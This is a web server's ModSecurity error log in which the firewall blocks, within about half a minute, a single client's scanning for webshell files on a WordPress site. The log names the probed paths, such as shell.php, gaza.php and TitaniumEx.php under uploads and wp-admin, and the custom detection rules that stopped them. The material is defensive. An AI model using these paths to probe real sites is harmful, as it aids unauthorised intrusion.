[Sat Feb 28 14:54:49.882297 2026] [:error] [pid 52460:tid 52478] [client 13.71.191.191:64984] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/transaction_history.php"] [unique_id "aaKRObLWOogAgHGh62R8vgAAAY8"]
[Sat Feb 28 14:54:50.300674 2026] [:error] [pid 52460:tid 52473] [client 13.71.191.191:12231] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/transaction_history.php"] [unique_id "aaKROrLWOogAgHGh62R8wgAAAYo"]
[Sat Feb 28 14:54:50.756548 2026] [:error] [pid 39292:tid 39310] [client 13.71.191.191:64934] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/transaction_history.php"] [unique_id "aaKROqIAO5fN7BxyqcH17QAAANA"]
[Sat Feb 28 14:54:51.258651 2026] [:error] [pid 39185:tid 39254] [client 13.71.191.191:65015] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/transaction_history.php"] [unique_id "aaKROxVE-FfM89u7BQYzuwAAAIg"]
[Sat Feb 28 14:54:51.716637 2026] [:error] [pid 39292:tid 39301] [client 13.71.191.191:64957] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/css/service.php"] [unique_id "aaKRO6IAO5fN7BxyqcH18AAAAMc"]
[Sat Feb 28 14:54:52.173459 2026] [:error] [pid 39184:tid 39225] [client 13.71.191.191:12252] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/css/service.php"] [unique_id "aaKRPFtZF9Zd_U7easDymQAAAEY"]
[Sat Feb 28 14:54:52.750785 2026] [:error] [pid 39183:tid 39200] [client 13.71.191.191:65001] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/css/service.php"] [unique_id "aaKRPBCf4HvhVePw3Lb7dwAAAAg"]
[Sat Feb 28 14:54:53.213483 2026] [:error] [pid 39185:tid 39252] [client 13.71.191.191:11567] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/css/service.php"] [unique_id "aaKRPRVE-FfM89u7BQYzwQAAAIY"]
[Sat Feb 28 14:54:53.690908 2026] [:error] [pid 11791:tid 11816] [client 13.71.191.191:64921] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaKRPWuX5e1Q32gqxH1SiQAAARc"]
[Sat Feb 28 14:54:54.201659 2026] [:error] [pid 52460:tid 52479] [client 13.71.191.191:64953] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaKRPrLWOogAgHGh62R8ygAAAZA"]
[Sat Feb 28 14:54:54.677632 2026] [:error] [pid 52460:tid 52469] [client 13.71.191.191:64943] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaKRPrLWOogAgHGh62R8zQAAAYY"]
[Sat Feb 28 14:54:55.148027 2026] [:error] [pid 52460:tid 52480] [client 13.71.191.191:64933] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaKRP7LWOogAgHGh62R80AAAAZE"]
[Sat Feb 28 14:54:55.622981 2026] [:error] [pid 39185:tid 39259] [client 13.71.191.191:65013] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaKRPxVE-FfM89u7BQYz1QAAAI0"]
[Sat Feb 28 14:54:56.127159 2026] [:error] [pid 39185:tid 39249] [client 13.71.191.191:64999] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaKRQBVE-FfM89u7BQYz2wAAAIM"]
[Sat Feb 28 14:54:56.560793 2026] [:error] [pid 39185:tid 39246] [client 13.71.191.191:11551] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaKRQBVE-FfM89u7BQYz3gAAAIA"]
[Sat Feb 28 14:54:57.045728 2026] [:error] [pid 39185:tid 39268] [client 13.71.191.191:64941] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaKRQRVE-FfM89u7BQYz4AAAAJY"]
[Sat Feb 28 14:54:57.491729 2026] [:error] [pid 39185:tid 39267] [client 13.71.191.191:11566] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/input.php"] [unique_id "aaKRQRVE-FfM89u7BQYz4gAAAJU"]
[Sat Feb 28 14:54:57.940543 2026] [:error] [pid 22194:tid 22217] [client 13.71.191.191:12249] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/uploads__.php"] [unique_id "aaKRQX6mbajs3bzQGytfDgAAAVU"]
[Sat Feb 28 14:54:58.453001 2026] [:error] [pid 11791:tid 11805] [client 13.71.191.191:64921] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/uploads__.php"] [unique_id "aaKRQmuX5e1Q32gqxH1SjQAAAQw"]
[Sat Feb 28 14:54:58.886581 2026] [:error] [pid 11791:tid 11808] [client 13.71.191.191:64938] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/uploads__.php"] [unique_id "aaKRQmuX5e1Q32gqxH1SjwAAAQ8"]
[Sat Feb 28 14:54:59.402550 2026] [:error] [pid 52460:tid 52478] [client 13.71.191.191:12174] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/light/vSqcqEF.php"] [unique_id "aaKRQ7LWOogAgHGh62R83QAAAY8"]
[Sat Feb 28 14:54:59.856300 2026] [:error] [pid 39185:tid 39247] [client 13.71.191.191:11575] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/light/vSqcqEF.php"] [unique_id "aaKRQxVE-FfM89u7BQYz6wAAAIE"]
[Sat Feb 28 14:55:00.359330 2026] [:error] [pid 52460:tid 52469] [client 13.71.191.191:11555] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/light/vSqcqEF.php"] [unique_id "aaKRRLLWOogAgHGh62R84gAAAYY"]
[Sat Feb 28 14:55:00.847519 2026] [:error] [pid 22194:tid 22196] [client 13.71.191.191:12242] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/light/vSqcqEF.php"] [unique_id "aaKRRH6mbajs3bzQGytfEAAAAUA"]
[Sat Feb 28 14:55:01.318912 2026] [:error] [pid 11791:tid 11803] [client 13.71.191.191:12229] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/jcrop/Jcrop.php"] [unique_id "aaKRRWuX5e1Q32gqxH1SkwAAAQo"]
[Sat Feb 28 14:55:01.845099 2026] [:error] [pid 11791:tid 11800] [client 13.71.191.191:12247] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/jcrop/Jcrop.php"] [unique_id "aaKRRWuX5e1Q32gqxH1SlwAAAQc"]
[Sat Feb 28 14:55:02.281723 2026] [:error] [pid 52460:tid 52470] [client 13.71.191.191:12232] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/jcrop/Jcrop.php"] [unique_id "aaKRRrLWOogAgHGh62R85AAAAYc"]
[Sat Feb 28 14:55:02.707823 2026] [:error] [pid 52460:tid 52478] [client 13.71.191.191:64970] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/jcrop/Jcrop.php"] [unique_id "aaKRRrLWOogAgHGh62R85gAAAY8"]
[Sat Feb 28 14:55:03.136251 2026] [:error] [pid 52460:tid 52469] [client 13.71.191.191:64950] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/service.php"] [unique_id "aaKRR7LWOogAgHGh62R87AAAAYY"]
[Sat Feb 28 14:55:03.814309 2026] [:error] [pid 52460:tid 52475] [client 13.71.191.191:64916] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/service.php"] [unique_id "aaKRR7LWOogAgHGh62R88AAAAYw"]
[Sat Feb 28 14:55:04.271116 2026] [:error] [pid 39185:tid 39263] [client 13.71.191.191:11526] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/service.php"] [unique_id "aaKRSBVE-FfM89u7BQY0AQAAAJE"]
[Sat Feb 28 14:55:04.720578 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:11562] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/service.php"] [unique_id "aaKRSBVE-FfM89u7BQY0BgAAAJI"]
[Sat Feb 28 14:55:05.160255 2026] [:error] [pid 52460:tid 52481] [client 13.71.191.191:12173] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/cache.php"] [unique_id "aaKRSbLWOogAgHGh62R8-gAAAZI"]
[Sat Feb 28 14:55:05.648688 2026] [:error] [pid 39292:tid 39317] [client 13.71.191.191:12244] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/cache.php"] [unique_id "aaKRSaIAO5fN7BxyqcH1_wAAANc"]
[Sat Feb 28 14:55:06.087883 2026] [:error] [pid 52460:tid 52484] [client 13.71.191.191:64931] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/cache.php"] [unique_id "aaKRSrLWOogAgHGh62R8_wAAAZU"]
[Sat Feb 28 14:55:06.525636 2026] [:error] [pid 52460:tid 52468] [client 13.71.191.191:12253] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/cache.php"] [unique_id "aaKRSrLWOogAgHGh62R9BAAAAYU"]
[Sat Feb 28 14:55:06.936690 2026] [:error] [pid 52460:tid 52480] [client 13.71.191.191:12243] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aaKRSrLWOogAgHGh62R9BgAAAZE"]
[Sat Feb 28 14:55:07.352255 2026] [:error] [pid 39292:tid 39298] [client 13.71.191.191:64928] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aaKRS6IAO5fN7BxyqcH2AgAAAMQ"]
[Sat Feb 28 14:55:07.778183 2026] [:error] [pid 52460:tid 52484] [client 13.71.191.191:64911] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aaKRS7LWOogAgHGh62R9CgAAAZU"]
[Sat Feb 28 14:55:08.198885 2026] [:error] [pid 39292:tid 39315] [client 13.71.191.191:64898] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "aaKRTKIAO5fN7BxyqcH2BwAAANU"]
[Sat Feb 28 14:55:08.647664 2026] [:error] [pid 52460:tid 52471] [client 13.71.191.191:11553] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aaKRTLLWOogAgHGh62R9DgAAAYg"]
[Sat Feb 28 14:55:09.070543 2026] [:error] [pid 52460:tid 52468] [client 13.71.191.191:64936] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aaKRTbLWOogAgHGh62R9EAAAAYU"]
[Sat Feb 28 14:55:09.497937 2026] [:error] [pid 39292:tid 39300] [client 13.71.191.191:65003] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aaKRTaIAO5fN7BxyqcH2CwAAAMY"]
[Sat Feb 28 14:55:09.999069 2026] [:error] [pid 39185:tid 39248] [client 13.71.191.191:64995] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aaKRTRVE-FfM89u7BQY0GwAAAII"]
[Sat Feb 28 14:55:10.461583 2026] [:error] [pid 22194:tid 22200] [client 13.71.191.191:65010] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/shell.php"] [unique_id "aaKRTn6mbajs3bzQGytfFwAAAUQ"]
[Sat Feb 28 14:55:10.892974 2026] [:error] [pid 52460:tid 52473] [client 13.71.191.191:12227] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/shell.php"] [unique_id "aaKRTrLWOogAgHGh62R9GwAAAYo"]
[Sat Feb 28 14:55:11.352794 2026] [:error] [pid 52460:tid 52480] [client 13.71.191.191:12281] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/shell.php"] [unique_id "aaKRT7LWOogAgHGh62R9HwAAAZE"]
[Sat Feb 28 14:55:11.824803 2026] [:error] [pid 22194:tid 22206] [client 13.71.191.191:64899] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/shell.php"] [unique_id "aaKRT36mbajs3bzQGytfGwAAAUo"]
[Sat Feb 28 14:55:12.514938 2026] [:error] [pid 22194:tid 22216] [client 13.71.191.191:64996] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mrbmppbo.php"] [unique_id "aaKRUH6mbajs3bzQGytfIQAAAVQ"]
[Sat Feb 28 14:55:12.941130 2026] [:error] [pid 22194:tid 22203] [client 13.71.191.191:64940] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mrbmppbo.php"] [unique_id "aaKRUH6mbajs3bzQGytfJQAAAUc"]
[Sat Feb 28 14:55:13.401469 2026] [:error] [pid 22194:tid 22200] [client 13.71.191.191:64948] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mrbmppbo.php"] [unique_id "aaKRUX6mbajs3bzQGytfJgAAAUQ"]
[Sat Feb 28 14:55:13.881435 2026] [:error] [pid 22194:tid 22211] [client 13.71.191.191:64907] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mrbmppbo.php"] [unique_id "aaKRUX6mbajs3bzQGytfJwAAAU8"]
[Sat Feb 28 14:55:14.541960 2026] [:error] [pid 39292:tid 39309] [client 13.71.191.191:12165] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/mfw-activity-logger/csv-uploads/TitaniumEx.php"] [unique_id "aaKRUqIAO5fN7BxyqcH2DQAAAM8"]
[Sat Feb 28 14:55:15.010191 2026] [:error] [pid 39292:tid 39297] [client 13.71.191.191:12273] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/mfw-activity-logger/csv-uploads/TitaniumEx.php"] [unique_id "aaKRU6IAO5fN7BxyqcH2EQAAAMM"]
[Sat Feb 28 14:55:15.531381 2026] [:error] [pid 39292:tid 39314] [client 13.71.191.191:12183] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/mfw-activity-logger/csv-uploads/TitaniumEx.php"] [unique_id "aaKRU6IAO5fN7BxyqcH2EwAAANQ"]
